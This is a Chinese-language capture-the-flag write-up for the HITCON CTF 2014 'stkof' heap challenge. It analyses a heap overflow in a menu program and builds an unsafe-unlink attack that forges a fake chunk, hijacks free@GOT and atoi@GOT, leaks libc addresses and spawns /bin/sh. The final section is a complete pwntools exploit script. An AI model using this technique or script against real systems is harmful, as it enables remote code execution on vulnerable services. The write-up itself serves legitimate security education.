2014 HITCON CTF WriteUp

🏆 赛事概况

  • 赛事全称：HITCON CTF 2014

  • 比赛时间：2014 年 8 月 16 日 12:00 至 8 月 18 日 12:00（UTC+8），共 48 小时

  • 比赛形式：线上 Jeopardy（解题）模式

  • 参赛规模：吸引了来自全球 71 个国家的 1,020 支队伍参赛

  • 题目类型：涵盖 Trivial、Web Security、Binary Processing、Forensics、Pwn3d 等类别

  • 奖金（新台币）：冠军 22,000 元，亚军 15,000 元，季军 10,000 元

🏅 最终排名

排名 队伍名称 得分 备注
冠军 fuzzi3 (日本) 5,249
亚军 Dragon Sector (波兰) 5,151 当时 CTF 世界排名第一
季军 9447 (澳大利亚) 4,949
第9名 BambooFox (中国台湾) -

Pwn

先来分析第一个函数，它允许用户指定一个堆块编号，再指定写入长度，最后向该堆块写入数据

pasted_1791458572997_h4depe.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int edit_chunk()
{
    unsigned int index;
    long long remaining;
    char *write_ptr;
    char input_buf[104];

    // 1. 读取堆块编号
    fgets(input_buf, 16, stdin);
    index = atol(input_buf);

    // 2. 检查编号及指针
    if (index > 0x100000)
        return -1;

    if (chunk_table[index] == NULL)
        return -1;

    // 3. 读取用户指定的写入长度
    fgets(input_buf, 16, stdin);
    remaining = atoll(input_buf);

    // 4. 获取堆块地址
    write_ptr = chunk_table[index];

    // 5. 向堆块写入数据，fread 不会自动检查 malloc 的申请大小
    int bytes_read;

    while ((bytes_read = fread(
                write_ptr, 1, remaining, stdin)) > 0)
    {
        write_ptr += bytes_read;
        remaining -= bytes_read;
    }

    return remaining == 0 ? 0 : -1;
}

在第二种情况下，如果目标内存的后面紧挨着其他堆块，那么越界写入就可能覆盖后续堆块的管理信息

pasted_1791462499817_jr32ow.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int delete_chunk()
{
    unsigned int index;
    char input[104];

    // 读取用户要释放的编号
    fgets(input, 16, stdin);

    index = atol(input);

    // 检查编号上限
    if (index > 0x100000)
        return -1;

    // 检查对应指针是否为空
    if (chunk_table[index] == NULL)
        return -1;

    // 释放堆块
    free(chunk_table[index]);

    // 清空指针
    chunk_table[index] = NULL;

    return 0;
}

int show_chunk_status()
{
    unsigned int index;
    char input[104];

    // 1. 读取堆块编号
    fgets(input, 16, stdin);
    index = atol(input);

    // 2. 检查编号范围
    if (index > 0x100000)
        return -1;

    // 3. 检查堆块指针
    if (chunk_table[index] == NULL)
        return -1;

    // 4. 计算字符串长度
    size_t len = strlen(chunk_table[index]);

    // 5. 根据长度输出结果
    if (len <= 3)
        puts("//TODO");
    else
        puts("...");

    return 0;
}

int create_chunk()
{
    long long request_size;
    char *chunk_ptr;
    char input[104];

    // 1. 读取申请大小
    fgets(input, 16, stdin);

    request_size = atoll(input);

    // 2. 申请堆内存
    chunk_ptr = malloc(request_size);

    // 3. 检查申请结果
    if (chunk_ptr == NULL)
        return -1;

    // 4. 分配新的编号
    chunk_count++;

    // 5. 保存堆块指针
    chunk_table[chunk_count] = chunk_ptr;

    // 6. 打印编号
    printf("%d\n", chunk_count);

    return 0;
}

分析完全部代码过后，我们正常运行程序，申请两个堆块

1
2
3
4
1
48
1
128

IDA 反编译创建堆块代码，dword_602100 这个全局变量在程序 .bss/.data 段中的实际存储地址是 0x602100

pasted_1791475003255_1qbmnv.png

因为我们创建了两个堆块，所以这个地址的值应该是 2

  • x：examine，查看内存

  • /wd：格式说明

    • w：word，通常表示 4 字节 / 32 位

    • d：decimal，按有符号十进制显示

pasted_1791475216606_g8y4rw.png

验证通过后根据分析代码中的 “获取堆块地址” 找到伪代码 ptr = (&::s)[v2];

pasted_1791475563955_lvrk1m.png

其中 v2 是用户输入的编号，&::s 的地址是 0x602140，双击进去就能看到，并且注意，这是 指针数组

pasted_1791475623681_5uqigj.png

  • /4gx：格式说明

    • 4：重复 4 次，也就是连续看 4 个单元

    • g：giant word，通常表示 8 字节 / 64 位

    • x：hexadecimal，按十六进制显示

pasted_1791475742617_8w2rug.png

首先，程序启动时操作系统会自动将 .bss 段全部初始化为 0，而程序第一次创建堆块时使用的是 ++dword_602100，所以第一个堆块从 s[1] 开始存

pasted_1791476020152_injqpu.png

因为这个 &::s 是指针数组，所以 s[0] 的指针存储的是 0x0

一个指针占 8 字节，所以第一个堆块指针 0x602140 + 8 = 0x602148 保存 0xe056b0

第二个堆块指针 0x602140 + 16 = 0x602150 保存 0xe05b00

现在测试两个堆块的距离

  • p：print，计算并输出表达式

pasted_1791476553420_nq2yy2.png

1
0x450 = 0x40 + 0x410

这非常符合下面的内存布局

pasted_1791489168870_t6lr0q.png

第一次执行 printf() 时，glibc 可能为标准输出分配一个缓冲区，而这个缓冲区恰好可能需要大小为 0x410 的 Chunk

pasted_1791489210548_jred0x.png

所以这两个堆块不是直接相邻的，我们现在要观察的是堆块头部来验证我们的推测

malloc() 返回的是用户数据地址，64 位程序中，Chunk Header 位于用户数据地址前面 0x10 字节的位置

1
2
3
4
5
第一个堆块：

用户地址：0xe056b0
            - 0x10
头部地址：0xe056a0

每一行都有两个 8 字节的数据：

  • 第一个值：prev_size

  • 第二个值：size，包含状态标志

pasted_1791489324029_kiuuhh.png

Chunk 头部地址 size 字段 实际 Chunk 大小
Chunk 1 0xe056a0 0x41 0x40
中间 Chunk 0xe056e0 0x411 0x410
Chunk 2 0xe05af0 0x91 0x90

为什么 0x41 对应实际大小 0x40？

因为 size 字段最低位的 1 是 PREV_INUSE 标志，表示前一个物理相邻 Chunk 被标记为正在使用

现在我们可以根据地址计算

1
2
3
4
5
6
7
头部地址：0xe056a0
实际大小：0x40
0xe056a0 + 0x40 = 0xe056e0

头部地址：0xe056e0
实际大小：0x410
0xe056e0 + 0x410 = 0xe05af0

因此，我们已经证明

pasted_1791490132416_oyvu6f.png

1
2
# 查看标准输出流 stdout 内部缓冲区的起始地址，并以十六进制显示
p/x ((struct _IO_FILE *)stdout)->_IO_buf_base

pasted_1791490112251_3avfx7.png

1
2
3
4
5
# 查看缓冲区的结束地址
p/x ((struct _IO_FILE *)stdout)->_IO_buf_end

# 计算缓冲区的长度
p/x (char *)((struct _IO_FILE *)stdout)->_IO_buf_end - (char *)((struct _IO_FILE *)stdout)->_IO_buf_base

pasted_1791490424142_nlkpek.png

接下来测试创建第三个堆块看是否相邻，大小还是 128

两个地址相差 0x90，这说明 Chunk 3 紧挨着 Chunk 2

pasted_1791490752163_xm6acg.png

回忆 Edit 函数

1
2
ptr = chunk_table[index];
fread(ptr, 1, n, stdin);

如果选择编号 2，那么

1
ptr = 0xe05b00;

现在想一想：

  • 写入 0x80 字节，会覆盖 Chunk 2 申请的 128 字节用户数据。

  • 写入 0x88 字节，就会额外覆盖 Chunk 3 的 prev_size 字段。

  • 写入 0x90 字节，还会覆盖 Chunk 3 的 size 字段

编写调试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = b"A" * 0x80
payload += b"B" * 8
payload += b"C" * 8

data = (
    b"1\n48\n"      # 创建 Chunk 1
    b"1\n128\n"     # 创建 Chunk 2
    b"1\n128\n"     # 创建 Chunk 3
    b"2\n2\n144\n"  # Edit Chunk 2，写入 144 字节
    + payload
    + b"4\n2\n"     # 进入第 4 功能，供 GDB 断点暂停
)

with open("overflow.in", "wb") as f:
    f.write(data)

先在菜单第 4 个功能入口设置断点，然后重新运行

此时 Edit 已经完成，堆溢出已经发生，但第 4 个功能还没有执行，方便我们安全地观察被覆盖的头部

第三个堆块指针 0x602150 + 8 = 0x602158

1
2
3
4
5
6
7
8
b *0x400BA9

run < overflow.in

set $p2 = *(char **)0x602150
set $p3 = *(char **)0x602158

x/2gx $p3 - 0x10

pasted_1791493002198_f9bq1f.png

通过 edit(2) 写入 Chunk 2 的数据，成功修改了 Chunk 3 的堆管理信息

pasted_1791493164365_sp19jv.png

我们下一步要让它变成一个有意义的值

1
2
prev_size = 0x90
size      = 0x90
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from struct import pack

payload = b"A" * 0x80
payload += pack("<Q", 0x90)  # prev_size
payload += pack("<Q", 0x90)  # size，清除 PREV_INUSE

data = (
    b"1\n48\n"
    b"1\n128\n"
    b"1\n128\n"
    b"2\n2\n144\n"
    + payload
    + b"4\n2\n"
)

with open("overflow2.in", "wb") as f:
    f.write(data)

注意修改前的 size 正常为 0x91，修改后为 0x90，相当于清除了最低位的 PREV_INUSE 标志

pasted_1791493462627_za7oaj.png

这相当于告诉 glibc：Chunk 3 前面的那个 Chunk 已经是空闲状态了，我释放 Chunk 3 的时候，可以尝试把它们合并起来

学习两个新概念：fd 和 bk

glibc 管理某些空闲 Chunk 时，会使用双向链表

其中：

  • fd（forward pointer）：指向链表中的后继节点

  • bk（backward pointer）：指向链表中的前驱节点

pasted_1791594782970_f16kx3.png

假设三个空闲堆块按照 A、P、B 的顺序连接，我们只看中间的 Chunk P

1
2
P->fd = B;
P->bk = A;

这两行的意思分别是：

  • P->fd = B：P 保存了后继 Chunk B 的地址

  • P->bk = A：P 保存了前驱 Chunk A 的地址

在本题使用的经典 64 位 glibc Chunk 结构中，相关字段的布局是：

pasted_1791595570383_6qu62y.png

现在想象我们要把中间的 Chunk P 从双向链表中移除

要让 A 和 B 直接连接，需要修改两个指针

1
2
3
4
5
6
7
// 让 B 的前驱直接变成 A
B->bk = A;
// 让 A 的后继直接变成 B
A->fd = B;

FD->bk = BK;
BK->fd = FD;

所以 Unlink 最核心的工作，就是通过 fd 和 bk 修改前后两个节点的指针，让它们绕过 P，直接连接

正常情况下 fd、bk 应该指向真正的空闲 Chunk

1
2
P->fd = B;
P->bk = A;

注意：Chunk 2 的真实头部位于 0xe05af0，它是由 glibc 创建和管理的

而我们准备伪造的 Chunk，头部要放在 0xe05b00，也就是 Chunk 2 的用户数据区域内部。

pasted_1791600093601_msq18n.png

正常情况下，0xe05b00 是一片用来保存用户数据的内存，但我们故意写入以下数据

1
2
3
4
payload = p64(0)
payload += p64(0x81)
payload += p64(0x602138)
payload += p64(0x602140)

现在，0xe05b00 开始的内存就变成了

pasted_1791604403618_7r7r3a.png

我们没有真的申请一个新的 Chunk，只是往 Chunk 2 的用户数据中写了四个 8 字节整数

但是，这四个整数恰好按照 glibc 的 Chunk 结构排列

1
2
3
4
5
6
struct malloc_chunk {
    size_t prev_size;  // 前一个 chunk 空闲时：前一个 chunk 的大小
    size_t size;       // 当前 chunk 大小 + 标志位
    void *fd;
    void *bk;
};

所以，如果 glibc 后续把 0xe05b00 当成 Chunk 的起始地址，它就会按照这四个字段来解释我们写进去的数据

在之前我们就说过可以修改 Chunk 3 的头部，故意让它指向 Fake Chunk

1
2
prev_size = 0x80
size      = 0x90

当我们执行 free(s[3]);

glibc 发现 Chunk 3 的 PREV_INUSE 是 0，于是认为前面的 Chunk 已被释放，需要向前合并

接着，它根据 prev_size 计算前一个 Chunk 的位置

1
0xe05b80 - 0x80 = 0x05b00

而 0xe05b00 正好就是我们放置 Fake Chunk 的地方

因此，glibc 会尝试把这里的内存作为一个空闲 Chunk 来处理

pasted_1791604903727_dtowq5.png

你可以把整个过程理解为三个动作：

  1. 造假： 在 Chunk 2 的用户数据中，写入假的 prev_size、size、fd、bk

  2. 误导： 修改 Chunk 3 的 prev_size 和 PREV_INUSE，让 glibc 向前寻找时恰好找到 Fake Chunk

  3. 触发： 执行 free(3)，让 glibc 在通过必要检查后对 Fake Chunk 执行 Unlink

因此，我们并没有真正创建一个新的堆块。我们只是让内存分配器把一段普通的用户数据误认成堆块管理结构

Unsafe Unlink：通过堆溢出伪造空闲 Chunk，并篡改相邻 Chunk 的元数据，在 free() 向前合并时诱导 glibc 执行 Unlink，从而修改指定内存地址中的指针值

第一段 Payload：完成 Unsafe Unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

PTR = 0x602150       # &s[2]

payload1  = p64(0)                 # fake prev_size
payload1 += p64(0x81)              # fake size
payload1 += p64(PTR - 0x18)        # fd = 0x602138
payload1 += p64(PTR - 0x10)        # bk = 0x602140

payload1 = payload1.ljust(0x80, b'A')

payload1 += p64(0x80)              # Chunk 3 prev_size
payload1 += p64(0x90)              # Chunk 3 size

assert len(payload1) == 0x90

假设成功执行 free(s[3]);，并触发 Unlink，那么 s[2] = 0x602138;

Unlink 之后，&s[2] 仍然是 0x602150，只是 s[2] 保存的值从 0xe05b00 变成了 0x602138

因此我们可以从 0x602138 开始写入任意指定长度的数据，看一下这片内存

地址 内容
0x602138 指针数组前 8 字节
0x602140 s[0]
0x602148 s[1]
0x602150 s[2]
0x602158 s[3]
0x602160 s[4]

假设我们通过 edit(2) 写入

1
2
payload = p64(0)
payload += p64(0x602160)

pasted_1791620969022_f6lrea.png

这意味着 s[0] = 0x602160;，接下来执行 edit(0);，就会把数据写入 0x602160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from struct import pack

def p64(x):
    return pack("<Q", x)

# 1. 伪造 Chunk
fake = p64(0)
fake += p64(0x81)
fake += p64(0x602138)  # fd
fake += p64(0x602140)  # bk
fake = fake.ljust(0x80, b"A")
fake += p64(0x80)      # Chunk 3 prev_size
fake += p64(0x90)      # Chunk 3 size

# 2. Unlink 后，利用 edit(2) 修改 s[0]
pivot = p64(0)
pivot += p64(0x602160)

# 3. 再利用 edit(0)，往 0x602160 写入数据
proof = b"ABCDEFGH"

data = (
    b"1\n48\n"
    b"1\n128\n"
    b"1\n128\n"
    + b"2\n2\n144\n" + fake
    + b"3\n3\n"
    + b"2\n2\n16\n" + pivot
    + b"2\n0\n8\n" + proof
    + b"4\n1\n"
)

with open("pivot.in", "wb") as f:
    f.write(data)

设置断点

1
2
tbreak *0x400BA9
run < pivot.in

pasted_1791621241931_vzssna.png

位置 预期值 意义
s[0] 0x602160 指向我们指定的位置
s[2] 0x602138 证明 Unlink 改写仍然有效
s[3] 0x0 已经通过 Delete 清空
s[4] 0x4847464544434241 成功写入 ABCDEFGH

现在我们已经知道，能够把一个堆块指针改为自己指定的地址

我们要借此一次性修改三个指针

第二段 Payload：改写全局指针数组

1
2
3
4
5
6
payload2  = p64(0)
payload2 += p64(elf.got['free'])
payload2 += p64(elf.got['puts'])
payload2 += p64(elf.got['atoi'])

edit(2, payload2)
1
2
3
4
5
写入起点 0x602138：
    p64(0)              → 0x602138
    p64(free@GOT)       → 0x602140，即 s[0]
    p64(puts@GOT)       → 0x602148，即 s[1]
    p64(atoi@GOT)       → 0x602150，即 s[2]

前面已经将

1
2
3
s[0] = free@GOT
s[1] = puts@GOT
s[2] = atoi@GOT

第三段 Payload：劫持 free@GOT 并泄露 puts

1
2
3
4
5
payload3 = p64(elf.plt['puts'])

edit(0, payload3)

delete(1)

这样就就能泄露 puts 的真实地址

现在 s[2] 已经被我们设置成了 atoi@GOT，所以只需

1
2
3
payload4 = p64(system_addr)

edit(2, payload4)

接下来主函数会重新执行

1
2
fgets(nptr, 10, stdin);
v3 = atoi(nptr);

但是 atoi 的 GOT 表项已经被改写，所以只需要发送

1
2
p.sendline(b'/bin/sh')
p.interactive()

pasted_1791624572716_j7fkgf.png

完整版 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
import json
from pathlib import Path
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError
from pwn import *

# ============================================================
# 基础配置
# ============================================================
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"

BINARY = Path(__file__).resolve().parent / "stkof"
elf = ELF(str(BINARY), checksec=False)

HOST = "challenge-9b610e9a3ec4586c.sandbox.ctfhub.com"
PORT = 38041
TIMEOUT = 5
API_TIMEOUT = 10
LIBC_RIP_API = "https://libc.rip/api/find"

# ============================================================
# 关键地址
# ============================================================
TABLE_BASE = 0x602140          # 全局指针数组起始地址
S2_ADDR = TABLE_BASE + 0x10    # s[2] 所在内存地址
FAKE_SIZE = 0x80               # Fake Chunk 大小
PIVOT_ADDR = S2_ADDR - 0x18    # Unlink 后 s[2] 保存的地址

# ============================================================
# 远程连接与菜单交互
# ============================================================
def start():
    """连接远程 CTF 服务"""
    return remote(HOST, PORT, timeout=TIMEOUT)

def menu(io, choice):
    io.sendline(str(choice).encode())

def check_ok(io, action):
    r = io.recvline(timeout=TIMEOUT)
    if r != b"OK\n":
        raise RuntimeError(f"{action} failed: {r!r}")

def alloc(io, size):
    """菜单1：创建堆块，返回编号"""
    menu(io, 1)
    io.sendline(str(size).encode())
    idx = io.recvline(timeout=TIMEOUT)
    if not idx:
        raise RuntimeError("no chunk index")
    check_ok(io, "alloc")
    return int(idx.strip())

def edit(io, idx, data):
    """菜单2：修改堆块（二进制写入）"""
    menu(io, 2)
    io.sendline(str(idx).encode())
    io.sendline(str(len(data)).encode())
    io.send(data)
    check_ok(io, "edit")

def delete(io, idx):
    """菜单3：释放堆块"""
    menu(io, 3)
    io.sendline(str(idx).encode())
    check_ok(io, "delete")

# ============================================================
# 构造 Fake Chunk 触发 Unsafe Unlink
# ============================================================
def build_fake_chunk():
    """
    在 Chunk2 用户区伪造空闲 Chunk：
      prev_size=0, size=0x81, fd=0x602138, bk=0x602140
    并修改 Chunk3 头部：prev_size=0x80, size=0x90
    清除 PREV_INUSE，使 free(3) 向前合并触发 Unlink
    """
    fd = S2_ADDR - 0x18
    bk = S2_ADDR - 0x10
    payload = flat(p64(0), p64(0x81), p64(fd), p64(bk))
    payload = payload.ljust(FAKE_SIZE, b"A")
    payload += p64(0x80) + p64(0x90)
    assert len(payload) == 0x90
    return payload

# ============================================================
# 劫持全局指针数组，为泄露 GOT 做准备
# ============================================================
def redirect_leak_pointer(io, address):
    """
    Unlink 后 s[2] = 0x602138。
    edit(2) 从 0x602138 开始写入：
      0x602138: 占位
      0x602140: s[0] = free@GOT
      0x602148: s[1] = 指定 GOT 地址
      0x602150: s[2] = 0x602138（保留指针表写入能力）
    """
    edit(io, 2, flat(
        p64(0),
        p64(elf.got["free"]),
        p64(address),
        p64(PIVOT_ADDR),
    ))

# ============================================================
# 泄露指定函数的 GOT 地址
# ============================================================
def leak_got_symbol(io, name):
    """将 free@GOT 改为 puts@PLT，通过 delete(1) 泄露 GOT 内容"""
    redirect_leak_pointer(io, elf.got[name])
    menu(io, 3)
    io.sendline(b"1")
    raw = io.recvuntil(b"\nOK\n", drop=True, timeout=TIMEOUT)
    if not raw:
        raise RuntimeError(f"leak {name} failed")
    addr = u64(raw[:8].ljust(8, b"\x00"))
    log.success(f"{name} @ {hex(addr)}")
    return addr

# ============================================================
# 通过 libc.rip 识别 libc，计算 system 地址
# ============================================================
def query_libc_rip(leaks):
    data = json.dumps({
        "symbols": {k: hex(v) for k, v in leaks.items()}
    }).encode()

    req = Request(
        LIBC_RIP_API,
        data=data,
        headers={
            "Content-Type": "application/json",
            "User-Agent": "stkof-ctf-study/1.0",
        },
        method="POST",
    )

    try:
        with urlopen(req, timeout=API_TIMEOUT) as resp:
            result = json.load(resp)
    except (HTTPError, URLError, TimeoutError) as e:
        raise RuntimeError(f"libc.rip query failed: {e}") from e

    if not isinstance(result, list) or not result:
        raise RuntimeError("no matching libc")
    return result

def get_system_address(leaks):
    """根据泄露的多个函数地址匹配 libc 并计算 system"""
    log.info("identifying libc ...")
    matches = query_libc_rip(leaks)
    candidates = {}

    for entry in matches:
        syms = entry.get("symbols", {})
        try:
            puts_off = int(syms["puts"], 0)
            system_off = int(syms["system"], 0)
        except (KeyError, ValueError, TypeError):
            continue

        libc_base = leaks["puts"] - puts_off
        if libc_base & 0xFFF:
            continue

        # 验证其他泄露函数是否匹配
        if any(
            name in syms and libc_base + int(syms[name], 0) != addr
            for name, addr in leaks.items()
        ):
            continue

        candidates.setdefault(
            libc_base + system_off, []
        ).append(entry.get("id", "unknown"))

    if not candidates:
        raise RuntimeError("cannot match libc")
    if len(candidates) > 1:
        raise RuntimeError("multiple system addresses")

    system_addr, ids = next(iter(candidates.items()))
    log.success(f"libc: {ids[0]}")
    log.success(f"system: {hex(system_addr)}")
    return system_addr

# ============================================================
# 完整利用流程
# ============================================================
def exploit():
    io = start()
    try:
        # 阶段一：布置堆内存，申请相邻的 Chunk 2 和 Chunk 3
        log.info("stage 1: heap layout")
        assert alloc(io, 0x30) == 1
        assert alloc(io, 0x80) == 2
        assert alloc(io, 0x80) == 3

        # 阶段二：构造 Fake Chunk，触发 Unsafe Unlink
        log.info("stage 2: unsafe unlink")
        edit(io, 2, build_fake_chunk())
        delete(io, 3)

        # 阶段三：劫持 free@GOT 为 puts@PLT
        log.info("stage 3: hijack free@GOT")
        redirect_leak_pointer(io, elf.got["puts"])
        edit(io, 0, p64(elf.plt["puts"]))

        # 阶段四：泄露多个 libc 函数地址
        log.info("stage 4: leak libc")
        leaks = {
            name: leak_got_symbol(io, name)
            for name in ("puts", "atoi", "malloc", "fgets", "fread")
        }
        system_addr = get_system_address(leaks)

        # 阶段五：将 atoi@GOT 修改为 system
        log.info("stage 5: hijack atoi@GOT")
        edit(io, 2, flat(
            p64(0),
            p64(elf.got["free"]),
            p64(0),
            p64(elf.got["atoi"]),
        ))
        edit(io, 2, p64(system_addr))

        # 阶段六：触发 system("/bin/sh")
        log.info("stage 6: shell")
        io.sendline(b"/bin/sh")
        io.interactive()
    finally:
        io.close()

if __name__ == "__main__":
    exploit()